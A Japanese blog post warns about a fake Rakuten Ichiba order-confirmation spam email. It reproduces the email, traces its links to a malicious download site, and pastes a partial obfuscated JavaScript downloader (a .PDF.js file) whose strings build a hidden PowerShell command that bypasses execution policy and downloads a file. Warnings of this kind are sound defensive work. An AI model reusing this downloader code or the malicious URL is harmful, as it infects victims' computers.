TRYX3トライスリー楽天市場店を騙る注文内容ご確認迷惑メールに注意！

楽天市場から件名「【楽天市場】注文内容ご確認（自動配信メール）」というメールを受信しました。

特になんてことはない件名のメールなんですが、ひとつ問題があるんです。

楽天市場で何も買ってないんです！

まったく心当たりがないので、とりあえずメール内容を確認したところ、次のお店で商品を注文したことになっていました。

注文したお店

TRYX3（トライスリー）楽天市場店

注文した商品

エスキュービズム 40V型LEDバックライト搭載地上デジタルフルハイビジョン液晶テレビ AT-40CM01S4

税込、送料無料で合計34,800円とのこと。

ちょっと待てや！

ということで、件名「【楽天市場】注文内容ご確認（自動配信メール）」について調べてみました。

気になる方は記事本文をチェックしてくださいね！

2018年4月24日追記

同じようなメールをまた受信してしまいました！↓↓

ぎおん(株)ヤサカ電気を騙る楽天市場の注文内容ご確認迷惑メールに注意！

楽天市場から身に覚えがない注文確認メールを受信してしまいました。実は今回のメールを受信する数日前にも同じような内容のメールを受信したばかりなんですよね～。本当にいつもご苦労様なことです。今回は「ぎおん(株)ヤサカ電気」を騙っています。...

件名「【楽天市場】注文内容ご確認（自動配信メール）」はどんなメール？
「【楽天市場】注文内容ご確認（自動配信メール）」のリンクはどうなってる？
1. 拡張子「js」はスクリプトファイル！ダブルクリックで感染する！
「【楽天市場】注文内容ご確認（自動配信メール）」の送信元は？
「【楽天市場】注文内容ご確認（自動配信メール）」の差出人は？
まとめ

件名「【楽天市場】注文内容ご確認（自動配信メール）」はどんなメール？

↑↑上の画像は実際に受信したメールを画面キャプチャーしたものになります。

そして下のテキストは受信したメール内容をそのままコピペしたものです。↓↓

ただし一部のテキスト（住所、電話番号など）やリンクについては変更・削除してあります。

ご注文ありがとうございます

買い物かご購入履歴ヘルプ

この度は楽天市場内のショップ「TRYX3（トライスリー）楽天市場店」をご利用いただきまして、誠にありがとうございます。

本メールは、お客様のご注文情報を受け付けた時点で送信される自動配信メールです。
ショップからの確認の連絡、または商品の発送をもってご購入についての契約が成立します。（in English)

ご注文内容

注文番号 248051-20180416-00132919
注文日時 2018-04-18 21:43:40

お問い合わせ先

TRYX3（トライスリー）楽天市場店

xxx-xxx-xxxx

問い合わせフォームから連絡

※下記内容については、上記の問い合わせ先より直接ショップにお問い合せください。
・商品やお取引に関するご不明点
・ご注文内容の変更（商品、決済・配送方法など）
・ご注文のキャンセル手続き
※ショップの情報・返品ポリシー・営業時間はこちら
※その他ご不明点がある場合は楽天市場のヘルプページをご確認ください。

エスキュービズム 40V型LEDバックライト搭載地上デジタルフルハイビジョン液晶テレビ AT-40CM01SR

34,800円 x 1個 = 34,800円 (税込、送料無料)

小計 34,800円

送料 0円

合計 34,800円

※送料等の諸費用は変わる場合があります

今回のお買い物で、388ポイントを獲得しました

・スーパーポイントアッププログラムに関するご注意　詳細について
– 月間獲得ポイントの上限に達している場合は、実際に獲得するポイントが表示と異なる場合がございます。
– スーパーポイントアッププログラム分の特典は、後日付与されます。特典により付与日が異なります。

詳細

送付先

〒xxx-xxxx xx県xx市xx5xx0-1xx

xxxx-xx-xxxx

支払方法

クレジットカード決済

配送方法

宅配便

配送日時指定

翌日配達「あす楽」を希望

備考

領収書をご希望のお客様は下記に「領収書」とご記載ください。

注文情報の詳細を確認する

ショップのメルマガに申し込む

お気に入りショップに登録

ご注意事項

・離島・一部地域では別途送料が必要な場合があります。

・消費税について

消費税率 8％

消費税計算順序１商品毎に消費税計算

１円未満消費税端数切り捨て

・お客様のお取引先は「TRYX3（トライスリー）楽天市場店」となりますので、ご不明な点、ご注文内容に誤りがある場合は、
直接ショップまでお問い合わせください。

・後日計算の送料等により、「全てのポイントを使う」を選択の場合でもお支払いの差額が生じる場合が
あります。
・楽天会員を利用したご注文の場合、キャンペーン特典ポイントが本メール記載の獲得ポイントとは別に計算、
付与される場合があります。ポイント利用・獲得履歴はこちら
・楽天市場ご利用上のご注意はこちら。
・個人情報の取り扱いについては個人情報保護方針をご覧ください。
・よくある質問はこちら。

・こちらの注文に覚えがない場合は、他の方が誤ってあなたのメールアドレスで注文した可能性があります。
その場合は、大変お手数ですが、上記ショップならびに楽天市場までお知らせください。

（English）Thank you for shopping at Rakuten. This e-mail is automatically generated in response to your order.
Please note that your order is not complete until confirmed by the seller.
To modify your order (item, payment, delivery, etc.), please contact the seller directly.
As this is an automated e-mail, please do not respond directly to this address.
Click here for Frequently Asked Questions.

楽天市場

発行元：楽天株式会社

注文した覚えのないショップと商品、そしてご丁寧に獲得ポイントまで記載されています。

388ポイント、ゲットだぜ！

念のため、楽天市場の購入履歴を調べてみたところ、メールに記載されているショップから商品を購入した形跡はありませんでした。

というわけで、これは間違いなく迷惑メールです。

「【楽天市場】注文内容ご確認（自動配信メール）」のリンクはどうなってる？

メール内には多数のリンクが埋め込まれています。

しかし、実際のリンク先は次の5箇所に絞られます。

①　青枠のリンク先

https://www.rakuten.co.jp/?scid=me_ich_conf_head_01&_mpt=101&_mpe=231963-20180106-00134809

青枠のリンクをクリックすると、本物の楽天市場のページにジャンプします。

②　オレンジ枠のリンク先

https://r10.to/hG8OZZ

オレンジ枠のリンクをクリックすると、本物の楽天カードのページにジャンプします。

③　グレー枠のリンク先

mailbox:///C:/Users/%8DL%8F%BA/AppData/Roaming/Thunderbird/Profiles/q2xdu7m4.default/Mail/メールドメイン/Inbox?number=64590#faqEnglish

グレー枠のリンクをクリックすると、同じメール内の次の部分にジャンプします。↓↓

④　緑枠のリンク先

mailbox:///C:/Users/%8DL%8F%BA/AppData/Roaming/Thunderbird/Profiles/q2xdu7m4.default/Mail/メールドメイン/Inbox?number=64590#shopInfo

緑枠のリンクをクリックすると、同じメール内の次の部分にジャンプします。↓↓

⑤　赤枠のリンク先

http://bt.minimaltemplates.com/

①～④のリンクに関しては、特に害のある類のものではありませんでした。

問題となるのは⑤赤枠のリンク先です。

この⑤赤枠のリンクをクリックすると、ページが開かれると同時に次のファイルのダウンロード画面が開かれます。↓↓

実際にダウンロードすると、次のzipファイル【もっと詳しくの情報はこちら.zip】が保存されます。↓↓

zipファイルを解凍すると、qlqfzrwvjxvjx.PDF.jsというファイルが現れます。↓↓

このjsという拡張子が付いたファイルには十分に注意する必要があるんです。

拡張子「js」はスクリプトファイル！ダブルクリックで感染する！

拡張子に「js」がつくファイルはスクリプトファイルと呼ばれ、Windows上でダブルクリックすることでスクリプトが動作を始め、感染してしまいます。

拡張子「js」ファイルはメモ帳などのテキストエディタで中身を確認することができます。

下のテキストは、今回ダウンロードしたqlqfzrwvjxvjx.PDF.jsをメモ帳で開いたものをそのままコピペしたものになります。↓↓

var xxxxxxxxxxxxxxxxxxx_0x2ca1 = [
‘test’,
‘NUpLu’,
‘lYyQR’,
‘YfRrv’,
‘Tiucx’,
‘split’,
‘CreateShortcut’,
‘TargetPath’,
‘http://google.com’,
‘HCTRv’,
‘ZIlVJ’,
‘while\x20(true)\x20{}’,
‘WkStk’,
‘dwEuE’,
‘TlQor’,
‘gger’,
‘drGsH’,
‘waUxU’,
‘eukzq’,
‘kDDLL’,
‘apply’,
‘ENQiM’,
‘kgYfb’,
‘LGODc’,
‘constructor’,
‘nLeww’,
‘debu’,
‘FkQNg’,
‘UVxpR’,
‘pqbWN’,
‘LHCTRv.apPHCTRvlHCTRviC’,
‘HCTRvAHCTRvTIHCTRvoHCTRvNHCTRv\x22HCTRv)HCTRv;HCTRv\x20HC’,
‘HCTRvsRHCTRvWHCTRvuvHCTRvGHCTRvYHCTRvVHC’,
‘vyvkHCTRvPHCTRvbKe’,
‘FcKFaFPuFyFrF’,
‘GwWOFRFSFsYFQFBF.FSFhFelFlEFxFeFcuFtFe(F\x22F’,
‘\x20\x22/cF\x20FpFoFwFeFrshell.exeF\x20-nFoprFoFfFiFleF\x20-wiFnFdFowsFtylFe\x20FhiFddFen\x20F\x20F-exFecFutFiFonpFolFiFcFyF\x20FbyFpaFssF\x20(FnFeFw-FobjeFct\x20sFyFsFtFeFm.FnFeFtF.wFeFbFcFlFiFeFnFtF)F.FdFownlFoFadFfFile(\x

～～～中略～～～

_0x156170[xxxxxxxxxxxxxxxxxxx_0xb229(‘0x35’)](_0x5daea4, 0x0);
}
} catch (_0x56ee07) {
}
}